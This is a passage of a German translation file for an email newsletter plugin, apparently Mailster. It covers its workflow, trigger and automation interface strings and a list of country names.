build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Week" msgstr "Woche" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Weeks" msgstr "Wochen" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Month" msgstr "Monat" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Months" msgstr "Monate" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Specific Time of the day" msgstr "Bestimmte Zeit des Tages" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Specific day of the week" msgstr "Bestimmter Tag der Woche" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Specific day of the month" msgstr "Bestimmter Tag des Monats" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "%s day of the month" msgstr "%s Tag des Monats" #: build/workflows/delay/index.js:1 msgid "for" msgstr "für" #: build/workflows/delay/index.js:1 msgid "Wait until current time of the day is" msgstr "Warten, bis die aktuelle Zeit des Tages" #: build/workflows/delay/index.js:1 msgid "If the current time is later the workflow will be delayed by one day." msgstr "Wenn die aktuelle Zeit später ist, wird der Workflow um einen Tag verzögert." #: build/workflows/delay/index.js:1 msgid "If the current time is later the workflow will be delayed by next selected weekday." msgstr "Wenn die aktuelle Uhrzeit später ist, wird der Workflow auf den nächsten ausgewählten Wochentag verschoben." #: build/workflows/delay/index.js:1 msgid "and it is the" msgstr "und es ist der" #: build/workflows/delay/index.js:1 msgid "If the current time is later the workflow will be delayed by next selected day in the next month." msgstr "Wenn die aktuelle Uhrzeit später ist, wird der Workflow auf den nächsten ausgewählten Tag im nächsten Monat verschoben." #: build/workflows/delay/index.js:1 msgid "The month will be skipped if it doesn't have %d days." msgstr "Der Monat wird übersprungen, wenn er keine %d Tage hat." #: build/workflows/delay/index.js:1 msgid "Continue Workflow on the" msgstr "Workflow fortsetzen am" #: build/workflows/delay/index.js:1 build/workflows/trigger/index.js:1 msgid "Date is in the past!" msgstr "Das Datum liegt in der Vergangenheit!" #: build/workflows/delay/index.js:1 msgid "Timezone based sending" msgstr "Zeitzonenbasiertes Senden" #: build/workflows/delay/index.js:1 msgid "Delay based on the subscribers timezone if known. This is usefull if you have global subscribers and like to get the email in their in box at the defined time." msgstr "Verzögerung basierend auf der Zeitzone des Abonnenten. Dies ist nützlich, wenn du globale Abonnenten hast und die E-Mail zur festgelegten Zeit in ihrem Postfach haben möchtest." #: build/workflows/delay/index.js:1 msgid "on ever day in the week." msgstr "an jedem Tag in der Woche." #: build/workflows/delay/index.js:1 msgid "on a %s." msgstr "an einem %s." #: build/workflows/delay/index.js:1 msgid "on the %s." msgstr "an den %s." #: build/workflows/delay/index.js:1 msgid "Wait for %s" msgstr "Warte auf %s" #: build/workflows/delay/index.js:1 msgid "Wait until %s" msgstr "Warte bis %s" #: build/workflows/delay/index.js:1 msgid "Respect users timezone" msgstr "Respektiere die Zeitzone der Benutzer" #: includes/capability.php:7 msgid "edit campaign" msgstr "Kampagne bearbeiten" #: build/workflows/email/index.js:1 msgid "Set a name of this email." msgstr "Bestimme den Namen für diese Kampagne." #: build/workflows/email/index.js:1 msgid "Overwrite the subject line of this email." msgstr "Überschreibe die Betreffzeile dieser Kampagne." #: build/workflows/email/index.js:1 msgid "Overwrite the preheader of this email." msgstr "Überschreibe den Preheader dieser Kampagne." #: build/workflows/email/index.js:1 msgid "From Email Address" msgstr "Die From E-Mail Adresse" #: build/workflows/email/index.js:1 msgid "Overwrite the email address of this email." msgstr "Überschreibe die E-Mail-Adresse dieser Kampagne." #: build/workflows/email/index.js:1 msgid "Overwrite the from name of this email." msgstr "Überschreibe den Von-Namen dieser Kampagne." #: build/workflows/email/index.js:1 msgid "Emails get queued in this step and sent by your current cron process." msgstr "Die E-Mails werden in diesem Schritt in die Warteschlange gestellt und von deinem aktuellen Cron-Prozess versendet." #: build/workflows/email/index.js:1 msgid "Email #%s" msgstr "E-Mail #%s" #: build/workflows/email/index.js:1 msgid "Send Email" msgstr "E-Mail senden" #: build/workflows/email/index.js:1 msgid "Unsubs" msgstr "Abmeldungen" #: build/workflows/trigger/index.js:1 msgid "Select all lists where this workflow should get triggered" msgstr "Wähle alle Listen aus, bei denen dieser Workflow ausgelöst werden soll" #: build/workflows/trigger/index.js:1 msgid "Add Page" msgstr "Seite hinzufügen" #: build/workflows/trigger/index.js:1 msgid "The user must be an active subscriber for this workflow to get triggered." msgstr "Der Benutzer muss ein aktiver Abonnent sein, damit dieser Workflow ausgelöst wird." #: build/workflows/trigger/index.js:1 msgid "Add Link" msgstr "Link hinzufügen" #: build/workflows/trigger/index.js:1 msgid "Trigger based on the subscribers" msgstr "Trigger basierend auf den Abonnenten" #: build/workflows/trigger/index.js:1 msgid "Use a specific date" msgstr "Ein bestimmtes Datum verwenden" #: build/workflows/trigger/index.js:1 msgid "Use a custom field" msgstr "Ein benutzerdefiniertes Feld verwenden" #: build/workflows/trigger/index.js:1 msgid "Yearly" msgstr "Jährlich" #: build/workflows/trigger/index.js:1 msgid "Yearly on the" msgstr "Jährlich am" #: build/workflows/trigger/index.js:1 msgid "Use this trigger to send emails based on user values. This is usefull for anniversaries like birthdays. To trigger this campaign every year you have to define repeats below." msgstr "Verwende diesen Auslöser, um E-Mails auf der Grundlage von Benutzerwerten zu versenden. Dies ist nützlich für Jahrestage wie Geburtstage. Um diese Kampagne jedes Jahr auszulösen, musst du unten Wiederholungen definieren." #: build/workflows/trigger/index.js:1 msgid "This workfow gets triggered for all subscribers on the defined date. Narrow down your selection with conditions below. If you only send a single email in this workflow consider using a regular campaign instead." msgstr "Dieser Workfow wird für alle Abonnenten am festgelegten Datum ausgelöst. Schränke deine Auswahl mit den unten stehenden Bedingungen ein. Wenn du nur eine einzige E-Mail in diesem Workflow versendest, solltest du stattdessen eine reguläre Kampagne verwenden." #: build/workflows/trigger/index.js:1 msgid "Once on %s" msgstr "Einmal am %s" #: build/workflows/trigger/index.js:1 msgid "Once on" msgstr "Einmal am" #: build/workflows/trigger/index.js:1 msgid "Use this trigger to send emails based on user values." msgstr "Verwende diesen Trigger, um E-Mails auf der Grundlage von Benutzerwerten zu versenden." #: build/workflows/trigger/index.js:1 msgid "Whenever" msgstr "Immer wenn" #: build/workflows/trigger/index.js:1 msgid "is updated" msgstr "aktualisiert wurde" #: build/workflows/trigger/index.js:1 msgid "Choose the field you like to use to trigger this workflow." msgstr "Wähle das Feld aus, das du zum Auslösen dieses Workflows verwenden möchtest." #: build/workflows/trigger/index.js:1 msgid "User fields" msgstr "Benutzerfelder" #: build/workflows/trigger/index.js:1 msgid "Use conditions below to trigger this workflow only if the field matches the condition." msgstr "Verwende die unten stehenden Bedingungen, um diesen Workflow nur dann auszulösen, wenn das Feld die Bedingung erfüllt." #: build/workflows/trigger/index.js:1 msgid "Hook" msgstr "Actionhook" #: build/workflows/trigger/index.js:1 msgid "Define your hook you like to trigger" msgstr "Definiere deinen Actionhook, den du auslösen möchtest" #: build/workflows/trigger/index.js:1 msgid "How to implement?" msgstr "Wie wird es angewendet?" #: build/workflows/trigger/index.js:1 msgid "Trigger this workflow by executing some code." msgstr "Löse diesen Workflow aus, indem du einen Code ausführst." #: build/workflows/trigger/index.js:1 msgid "You can use it in your theme or in a plugin. Make sure you define the subscriber ID to trigger this workflow for the right subscriber." msgstr "Du kannst es in deinem Theme oder in einem Plugin verwenden. Achte darauf, dass du die Abonnenten-ID festlegst, um diesen Workflow für den richtigen Abonnenten auszulösen." #: build/workflows/trigger/index.js:1 msgid "Whenever a new" msgstr "Wann immer eine neue" #: build/workflows/trigger/index.js:1 msgid "has been published" msgstr "veröffentlicht wurde" #: build/workflows/trigger/index.js:1 msgid "Filter selection" msgstr "Auswahl filtern" #: build/workflows/trigger/index.js:1 msgid "Taxonomies" msgstr "Taxonomien" #: build/workflows/trigger/index.js:1 msgid "Authors" msgstr "Autoren" #: build/workflows/trigger/index.js:1 msgid "Skip Release" msgstr "Freigabe überspringen" #: build/workflows/trigger/index.js:1 msgid "Define how many %s must have been published to trigger this workflow." msgstr "Lege fest, wie viele %s veröffentlicht worden sein müssen, um diesen Workflow auszulösen." #: build/workflows/trigger/index.js:1 msgid "Select all forms where this workflow should get triggered" msgstr "Wähle alle Formulare aus, bei denen dieser Workflow ausgelöst werden soll" #: build/workflows/trigger/index.js:1 msgid "Any Form" msgstr "Jede Form" #: build/workflows/trigger/index.js:1 msgid "Select all tags where this workflow should get triggered" msgstr "Wähle alle Tags aus, bei denen dieser Workflow ausgelöst werden soll" #: build/workflows/trigger/index.js:1 msgid "Remove this Trigger" msgstr "Diesen Auslöser entfernen" #: build/workflows/trigger/index.js:1 msgid "Add Trigger" msgstr "Auslöser hinzufügen" #: build/workflows/trigger/index.js:1 msgid "You can add max %d triggers!" msgstr "Du kannst maximal %d Auslöser hinzufügen!" #: build/workflows/trigger/index.js:1 msgid "Define conditions which must be fullfilled for the subscriber." msgstr "Definiere Bedingungen, die für den Abonnenten erfüllt sein müssen." #: build/workflows/trigger/index.js:1 msgid "Define how often the workflow with this trigger can get triggered for each subscriber." msgstr "Lege fest, wie oft dieser Workflow mit diesem Auslöser für jeden Abonnenten ausgelöst werden kann." #: build/workflows/trigger/index.js:1 msgid "Set up a trigger" msgstr "Einen Auslöser einrichten" #: build/workflows/trigger/index.js:1 msgid "No Pages defined." msgstr "Keine Seiten definiert." #: build/workflows/trigger/index.js:1 msgid "No Links defined." msgstr "Keine Links definiert." #: build/workflows/trigger/index.js:1 msgid "On subscribers %s field at %s" msgstr "Bei Abonnenten %s Feld bei %s" #: build/workflows/trigger/index.js:1 msgid "On %s at %s" msgstr "Am %s um %s" #: build/workflows/trigger/index.js:1 msgid "Yearly based on the subscribers %s field at %s" msgstr "Jährlich basierend auf dem Feld %s bei %s" #: build/workflows/trigger/index.js:1 msgid "only when" msgstr "nur wenn" #: build/workflows/triggers/index.js:1 msgid "Workflow Name" msgstr "Workflow Name" #: build/workflows/triggers/index.js:1 msgid "Define a name for your workflow." msgstr "Lege einen Namen für deinen Workflow fest." #: build/workflows/triggers/index.js:1 msgid "Add Workflow name" msgstr "Name für Workflow hinzufügen" #: build/workflows/triggers/index.js:1 msgid "Choose a Workflow" msgstr "Wähle einen Workflow" #: build/workflows/triggers/index.js:1 msgid "Loading Workflows" msgstr "Workflows laden" #: build/workflows/triggers/index.js:1 msgid "Start with this Workflow" msgstr "Starte mit diesem Workflow" #: build/workflows/triggers/index.js:1 msgid "Learn how to use this Workflow" msgstr "Erfahre, wie du diesen Workflow nutzen kannst" #: build/workflows/triggers/index.js:1 msgid "You have reached the limit of %d workflows! Your workflow is saved but disabled. Please upgrade your plan to use more workflows." msgstr "Du hast das Limit von %d Workflows erreicht! Dein Workflow ist gespeichert, aber deaktiviert. Bitte erweitere deinen Plan, um mehr Workflows nutzen zu können." #: build/workflows/triggers/index.js:1 msgid "Upgrade your license" msgstr "Upgrade deiner Lizenz" #: build/workflows/triggers/index.js:1 msgid "Workflow is Active" msgstr "Workflow ist aktiv" #: build/workflows/triggers/index.js:1 msgid "Workflow is Inactive" msgstr "Workflow ist inaktiv" #: build/workflows/triggers/index.js:1 msgid "Reset View" msgstr "Ansicht zurücksetzen" #: build/workflows/triggers/index.js:1 msgid "Zoom Out" msgstr "Herauszoomen" #: build/workflows/triggers/index.js:1 msgid "Zoom In" msgstr "Heranzoomen" #: build/workflows/triggers/index.js:1 msgid "There is %d trigger in this workflow." msgid_plural "There are %d triggers in this workflow." msgstr[0] "Es gibt einen %d Auslöser in diesem Workflow." msgstr[1] "Es gibt %d Auslöser in diesem Workflow." #: build/form/block.json build/forms/form-wrapper/block.json msgctxt "block title" msgid "Mailster Form" msgstr "Mailster Formular" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "form" msgstr "Formular" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "newsletter" msgstr "Newsletter" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "mailster" msgstr "mailster" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "subscribe" msgstr "abonnieren" #: patterns/workflows.php:22 msgid "This simple and efficient workflow is perfect for welcoming new subscribers. It is easy to set up and produces great outcomes. Once an individual subscribes to your form and is added to a list, the workflow will automatically send them a welcome email." msgstr "Dieser einfache und effiziente Workflow eignet sich perfekt für die Begrüßung neuer Abonnenten. Er ist einfach einzurichten und liefert großartige Ergebnisse. Sobald eine Person dein Formular abonniert hat und zu einer Liste hinzugefügt wurde, sendet der Workflow ihr automatisch eine Willkommens-E-Mail." #: patterns/workflows.php:42 msgid "Enhanced Welcome Email Series" msgstr "Verbesserte Willkommens-E-Mail-Serien" #: patterns/workflows.php:44 msgid "Employ various channels such as sign up forms or landing pages to activate the identical workflow for your new subscribers. All new subscribers will be sent the same welcome campaign. Additionally, you can modify a custom field for the engaged subscribers and shift the unresponsive ones to a designated group for future targeting." msgstr "Nutze verschiedene Kanäle wie Anmeldeformulare oder Landing Pages, um den gleichen Workflow für deine neuen Abonnenten zu aktivieren. Alle neuen Abonnenten erhalten dieselbe Begrüßungskampagne. Außerdem kannst du ein benutzerdefiniertes Feld für die engagierten Abonnenten ändern und die nicht reagierenden in eine bestimmte Gruppe verschieben, um sie später anzusprechen." #: patterns/workflows.php:93 msgid "Workflow for page visits" msgstr "Workflow für Seitenbesuche" #: patterns/workflows.php:94 msgid "This workflow serves as a valuable tool for targeting subscribers who have visited specific pages. By leveraging this workflow, you can segment your audience based on their browsing behavior, enabling you to deliver personalized campaigns, recommend relevant content, and provide targeted offers." msgstr "Dieser Workflow ist ein wertvolles Instrument, um Abonnenten anzusprechen, die bestimmte Seiten besucht haben. Mithilfe dieses Workflows kannst du deine Zielgruppe anhand ihres Surfverhaltens segmentieren und so personalisierte Kampagnen durchführen, relevante Inhalte empfehlen und gezielte Angebote machen." #: patterns/workflows.php:112 msgid "Win back inactive subscribers" msgstr "Inaktive Abonnenten zurückgewinnen" #: patterns/workflows.php:114 msgid "Re-engage subscribers who have shown a lack of engagement and remove inactive ones. You can initiate a campaign and update a custom field if they interact, or transfer them to the unsubscribed folder if they do not. This approach effectively purges your list, ensuring that your most active subscribers remain, leading to improved email deliverability." msgstr "Reaktiviere Abonnenten, die sich nicht aktiv waren, und entferne inaktive Abonnenten. Du kannst eine Kampagne starten und ein benutzerdefiniertes Feld aktualisieren, wenn sie interagieren, oder sie in den Ordner \"Abgemeldet\" verschieben, wenn sie es nicht tun. Auf diese Weise bereinigst du deine Liste und stellst sicher, dass deine aktivsten Abonnenten erhalten bleiben, was zu einer verbesserten Zustellbarkeit der E-Mails führt." #: patterns/workflows.php:160 msgid "Webinar invitation" msgstr "Einladung zum Webinar" #: patterns/workflows.php:161 msgid "Utilize this workflow to extend invitations to subscribers from various signup sources for your webinar event. Following the event, send them a survey email to gather their feedback." msgstr "Nutze diesen Workflow, um Einladungen für deine Webinar-Veranstaltung an Abonnenten aus verschiedenen Anmeldungsquellen zu verschicken. Nach der Veranstaltung schickst du ihnen eine Umfrage per E-Mail, um ihr Feedback einzuholen." #: patterns/workflows.php:197 msgid "Online course" msgstr "Online-Kurs" #: patterns/workflows.php:198 msgid "Commence your online course on a designated date and implement an automated system to deliver lessons to your learners every week. This straightforward workflow proves to be highly productive for your course participants." msgstr "Beginne deinen Online-Kurs zu einem bestimmten Datum und setze ein automatisiertes System ein, um deinen Lernenden jede Woche Lektionen zukommen zu lassen. Dieser unkomplizierte Workflow erweist sich für deine Kursteilnehmer/innen als äußerst produktiv." #: patterns/workflows.php:243 msgid "Celebrate customer birthdays" msgstr "Feiere Kundengeburtstage" #: patterns/workflows.php:244 msgid "Employ this workflow to pleasantly surprise your subscribers with birthday wishes on their special day!" msgstr "Nutze diesen Workflow, um deine Abonnenten mit Geburtstagswünschen zu ihrem besonderen Tag zu überraschen!" #: patterns/workflows.php:262 msgid "Target engaged contacts" msgstr "Engagierte Kontakte anvisieren" #: includes/countries.php:13 msgid "Armenia" msgstr "Armenien" #: patterns/workflows.php:7 msgid "Create your own custom workflow on a blank canvas." msgstr "Erstelle deinen eigenen individuellen Workflow." #: includes/countries.php:14 msgid "Aruba" msgstr "Aruba" #: patterns/workflows.php:20 msgid "Welcome new subscribers" msgstr "Neue Abonnenten willkommen heißen" #: includes/countries.php:15 msgid "Australia" msgstr "Australien" #: includes/countries.php:16 msgid "Austria" msgstr "Österreich" #: includes/countries.php:17 msgid "Azerbaijan" msgstr "Aserbaidschan" #: includes/countries.php:18 msgid "Bahamas" msgstr "Bahamas" #: includes/countries.php:19 msgid "Bahrain" msgstr "Bahrain" #: includes/countries.php:20 msgid "Bangladesh" msgstr "Bangladesch" #: includes/countries.php:21 msgid "Barbados" msgstr "Barbados" #: includes/countries.php:22 msgid "Belarus" msgstr "Weißrussland" #: includes/countries.php:23 msgid "Belgium" msgstr "Belgien" #: includes/countries.php:24 msgid "Belize" msgstr "Belize" #: includes/countries.php:25 msgid "Benin" msgstr "Benin" #: includes/countries.php:26 msgid "Bermuda" msgstr "Bermuda" #: includes/countries.php:27 msgid "Bhutan" msgstr "Bhutan" #: includes/countries.php:28 msgid "Bolivia" msgstr "Bolivien" #: includes/countries.php:29 msgid "Bosnia and Herzegovina" msgstr "Bosnien und Herzegowina" #: includes/countries.php:30 msgid "Botswana" msgstr "Botswana" #: includes/countries.php:31 msgid "Bouvet Island" msgstr "Bouvetinsel" #: includes/countries.php:32 msgid "Brazil" msgstr "Brasilien" #: includes/countries.php:33 msgid "British Antarctic Territory" msgstr "Britisches Antarktis-Territorium" #: includes/countries.php:34 msgid "British Indian Ocean Territory" msgstr "Britisches Territorium im Indischen Ozean" #: includes/countries.php:35 msgid "British Virgin Islands" msgstr "Britische Jungferninseln" #: includes/countries.php:36 msgid "Brunei" msgstr "Brunei" #: includes/countries.php:37 msgid "Bulgaria" msgstr "Bulgarien" #: includes/countries.php:38 msgid "Burkina Faso" msgstr "Burkina Faso" #: includes/countries.php:39 msgid "Burundi" msgstr "Burundi" #: includes/countries.php:40 msgid "Cambodia" msgstr "Kambodscha" #: includes/countries.php:41 msgid "Cameroon" msgstr "Kamerun" #: includes/countries.php:42 msgid "Canada" msgstr "Kanada" #: includes/countries.php:43 msgid "Canton and Enderbury Islands" msgstr "Kanton und Enderbury Inseln" #: includes/countries.php:44 msgid "Cape Verde" msgstr "Kap Verde" #: includes/countries.php:45 msgid "Cayman Islands" msgstr "Kaimaninseln" #: includes/countries.php:46 msgid "Central African Republic" msgstr "Zentralafrikanische Republik" #: includes/countries.php:47 msgid "Chad" msgstr "Chad" #: includes/countries.php:48 msgid "Chile" msgstr "Chile" #: includes/countries.php:49 msgid "China" msgstr "China" #: includes/countries.php:50 msgid "Christmas Island" msgstr "Weihnachtsinsel" #: includes/countries.php:51 msgid "Cocos [Keeling] Islands" msgstr "Cocos [Keeling] Inseln" #: includes/countries.php:52 msgid "Colombia" msgstr "Kolumbien" #: includes/countries.php:53 msgid "Comoros" msgstr "Komoren" #: includes/countries.php:54 msgid "Congo - Brazzaville" msgstr "Kongo - Brazzaville" #: includes/countries.php:55 msgid "Congo - Kinshasa" msgstr "Kongo - Kinshasa" #: includes/countries.php:56 msgid "Cook Islands" msgstr "Cook Inseln" #: includes/countries.php:57 msgid "Costa Rica" msgstr "Costa Rica" #: includes/countries.php:58 msgid "Croatia" msgstr "Kroatien" #: includes/countries.php:59 msgid "Cuba" msgstr "Kuba" #: includes/countries.php:60 msgid "Cyprus" msgstr "Zypern" #: includes/countries.php:61 msgid "Czech Republic" msgstr "Tschechische Republik" #: includes/countries.php:62 msgid "Côte d’Ivoire" msgstr "Côte d'Ivoire" #: includes/countries.php:63 msgid "Denmark" msgstr "Dänemark" #: includes/countries.php:64 msgid "Djibouti" msgstr "Dschibuti" #: includes/countries.php:65 msgid "Dominica" msgstr "Dominica" #: includes/countries.php:66 msgid "Dominican Republic" msgstr "Dominikanische Republik" #: includes/countries.php:67 msgid "Dronning Maud Land" msgstr "Dronning Maud Land" #: includes/countries.php:68 msgid "East Germany" msgstr "Ostdeutschland" #: includes/countries.php:69 msgid "Ecuador" msgstr "Ecuador" #: includes/countries.php:70 msgid "Egypt" msgstr "Ägypten" #: includes/countries.php:71 msgid "El Salvador" msgstr "El Salvador" #: includes/countries.php:72 msgid "Equatorial Guinea" msgstr "Äquatorialguinea" #: includes/countries.php:73 msgid "Eritrea" msgstr "Eritrea" #: includes/countries.php:74 msgid "Estonia" msgstr "Estland" #: includes/countries.php:75 msgid "Ethiopia" msgstr "Äthiopien" #: includes/countries.php:76 msgid "Falkland Islands" msgstr "Falklandinseln" #: includes/countries.php:77 msgid "Faroe Islands" msgstr "Färöer Inseln" #: includes/countries.php:78 msgid "Fiji" msgstr "Fidschi" #: includes/countries.php:79 msgid "Finland" msgstr "Finnland" #: includes/countries.php:80 msgid "France" msgstr "Frankreich" #: includes/countries.php:81 msgid "French Guiana" msgstr "Französisch-Guayana" #: includes/countries.php:82 msgid "French Polynesia" msgstr "Französisch-Polynesien" #: includes/countries.php:83 msgid "French Southern Territories" msgstr "Französische Süd-Territorien" #: includes/countries.php:84 msgid "French Southern and Antarctic Territories" msgstr "Französische Süd- und Antarktisterritorien" #: includes/countries.php:85 msgid "Gabon" msgstr "Gabun" #: includes/countries.php:86 msgid "Gambia" msgstr "Gambia" #: includes/countries.php:87 msgid "Georgia" msgstr "Georgia" #: includes/countries.php:88 msgid "Germany" msgstr "Deutschland" #: includes/countries.php:89 msgid "Ghana" msgstr "Ghana" #: includes/countries.php:90 msgid "Gibraltar" msgstr "Gibraltar" #: includes/countries.php:91 msgid "Greece" msgstr "Griechenland" #: includes/countries.php:92 msgid "Greenland" msgstr "Grönland" #: includes/countries.php:93 msgid "Grenada" msgstr "Grenada" #: includes/countries.php:94 msgid "Guadeloupe" msgstr "Guadeloupe" #: includes/countries.php:95 msgid "Guam" msgstr "Guam" #: includes/countries.php:96 msgid "Guatemala" msgstr "Guatemala" #: includes/countries.php:97 msgid "Guernsey" msgstr "Guernsey" #: includes/countries.php:98 msgid "Guinea" msgstr "Guinea" #: includes/countries.php:99 msgid "Guinea-Bissau" msgstr "Guinea-Bissau" #: includes/countries.php:100 msgid "Guyana" msgstr "Guyana" #: includes/countries.php:101 msgid "Haiti" msgstr "Haiti" #: includes/countries.php:102 msgid "Heard Island and McDonald Islands" msgstr "Heard Island und McDonald Islands" #: includes/countries.php:103 msgid "Honduras" msgstr "Honduras" #: includes/countries.php:104 msgid "Hong Kong SAR China" msgstr "Hongkong SAR China" #: includes/countries.php:105 msgid "Hungary" msgstr "Ungarn" #: includes/countries.php:106 msgid "Iceland" msgstr "Island" #: includes/countries.php:107 msgid "India" msgstr "Indien" #: includes/countries.php:108 msgid "Indonesia" msgstr "Indonesien" #: includes/countries.php:109 msgid "Iran" msgstr "Iran" #: includes/countries.php:110 msgid "Iraq" msgstr "Irak" #: includes/countries.php:111 msgid "Ireland" msgstr "Irland" #: includes/countries.php:112 msgid "Isle of Man" msgstr "Isle of Man" #: includes/countries.php:113 msgid "Israel" msgstr "Israel" #: includes/countries.php:114 msgid "Italy" msgstr "Italien" #: includes/countries.php:115 msgid "Jamaica" msgstr "Jamaika" #: includes/countries.php:116 msgid "Japan" msgstr "Japan" #: includes/countries.php:117 msgid "Jersey" msgstr "Jersey" #: includes/countries.php:118 msgid "Johnston Island" msgstr "Johnston Insel" #: includes/countries.php:119 msgid "Jordan" msgstr "Jordanien" #: includes/countries.php:120 msgid "Kazakhstan" msgstr "Kasachstan" #: includes/countries.php:121 msgid "Kenya" msgstr "Kenia" #: includes/countries.php:122 msgid "Kiribati" msgstr "Kiribati" #: includes/countries.php:123 msgid "Kuwait" msgstr "Kuwait" #: includes/countries.php:124 msgid "Kyrgyzstan" msgstr "Kirgisistan" #: includes/countries.php:125 msgid "Laos" msgstr "Laos" #: includes/countries.php:126 msgid "Latvia" msgstr "Lettland" #: includes/countries.php:127 msgid "Lebanon" msgstr "Libanon" #: includes/countries.php:128 msgid "Lesotho" msgstr "Lesotho" #: includes/countries.php:129 msgid "Liberia" msgstr "Liberia" #: includes/countries.php:130 msgid "Libya" msgstr "Libyen" #: views/admin_header.php:98 views/admin_header.php:100 #: views/setup/finish.php:11 views/setup/finish.php:13 msgid "Upgrade now!" msgstr "Jetzt upgraden!" #: includes/countries.php:131 msgid "Liechtenstein" msgstr "Liechtenstein" #: views/admin_header.php:98 views/setup/finish.php:11 msgid "Your trial expires in %s" msgstr "Deine Probezeit läuft in %s ab" #: includes/countries.php:132 msgid "Lithuania" msgstr "Litauen" #: classes/automation.class.php:74 build/workflows/action/index.js:1 msgid "Update Custom Field" msgstr "Benutzerdefiniertes Feld aktualisieren" #: includes/countries.php:133 msgid "Luxembourg" msgstr "Luxemburg" #: classes/automation.class.php:75 msgid "Update subscribers field with custom value." msgstr "Aktualisiere das Abonnentenfeld mit einem eigenen Wert." #: includes/countries.php:134 msgid "Macau SAR China" msgstr "Macau SAR China" #: classes/automation.class.php:80 msgid "Add to List(s)" msgstr "Zu Liste(n) hinzufügen" #: includes/countries.php:135 msgid "Macedonia" msgstr "Mazedonien" #: classes/automation.class.php:81 msgid "Adds subscribers to one or more lists." msgstr "Fügt Abonnenten zu einer oder mehreren Listen hinzu." #: includes/countries.php:136 msgid "Madagascar" msgstr "Madagaskar" #: classes/automation.class.php:86 msgid "Remove from List(s)" msgstr "Aus Liste(n) entfernen" #: includes/countries.php:137 msgid "Malawi" msgstr "Malawi" #: classes/automation.class.php:87 msgid "Removes subscribers from one or more lists." msgstr "Entfernt Abonnenten aus einer oder mehreren Listen." #: includes/countries.php:138 msgid "Malaysia" msgstr "Malaysia" #: classes/automation.class.php:92 msgid "Add Tag(s)" msgstr "Tag(s) hinzufügen" #: includes/countries.php:139 msgid "Maldives" msgstr "Malediven" #: classes/automation.class.php:93 msgid "Adds one ore more tags to a subscriber." msgstr "Fügt einen oder mehrere Tags zu einem Abonnenten hinzu." #: includes/countries.php:140 msgid "Mali" msgstr "Mali" #: classes/automation.class.php:98 msgid "Remove Tag(s)" msgstr "Tag(s) entfernen" #: includes/countries.php:141 msgid "Malta" msgstr "Malta" #: classes/automation.class.php:99 msgid "Removes one or more tags from a subscriber." msgstr "Entfernt ein oder mehrere Tags von einem Abonnenten." #: includes/countries.php:142 msgid "Marshall Islands" msgstr "Marshallinseln" #: classes/automation.class.php:105 msgid "Unsubscribes a subscriber." msgstr "Meldet einen Abonnenten ab." #: includes/countries.php:143 msgid "Martinique" msgstr "Martinique" #: classes/automation.class.php:110 msgid "Webhook" msgstr "Webhook" #: includes/countries.php:144 msgid "Mauritania" msgstr "Mauretanien" #: classes/automation.class.php:111 msgid "Triggers a webhook." msgstr "Löst einen Webhook aus." #: includes/countries.php:145 msgid "Mauritius" msgstr "Mauritius" #: classes/automation.class.php:126 msgid "Subscriber added to list" msgstr "Abonnent zur Liste hinzugefügt" #: includes/countries.php:146 msgid "Mayotte" msgstr "Mayotte" #: classes/automation.class.php:127 msgid "When a subscriber joins a list" msgstr "Wenn ein Abonnent einer Liste beitritt" #: includes/countries.php:147 msgid "Metropolitan France" msgstr "Großraum Frankreich" #: classes/automation.class.php:138 msgid "Tag added" msgstr "Tag hinzugefügt" #: includes/countries.php:148 msgid "Mexico" msgstr "Mexiko" #: classes/automation.class.php:139 msgid "When a Tag is added to a subscriber" msgstr "Wenn ein Tag zu einem Teilnehmer hinzugefügt wird" #: includes/countries.php:149 msgid "Micronesia" msgstr "Mikronesien" #: classes/automation.class.php:150 msgid "Field updated" msgstr "Feld aktualisiert" #: includes/countries.php:150 msgid "Midway Islands" msgstr "Midway-Inseln" #: classes/automation.class.php:151 msgid "When a Field is added or updated by a subscriber" msgstr "Wenn ein Feld von einem Abonnenten hinzugefügt oder aktualisiert wird" #: includes/countries.php:151 msgid "Moldova" msgstr "Moldawien" #: classes/automation.class.php:156 msgid "Form Conversion" msgstr "Formular-Konvertierung" #: includes/countries.php:152 msgid "Monaco" 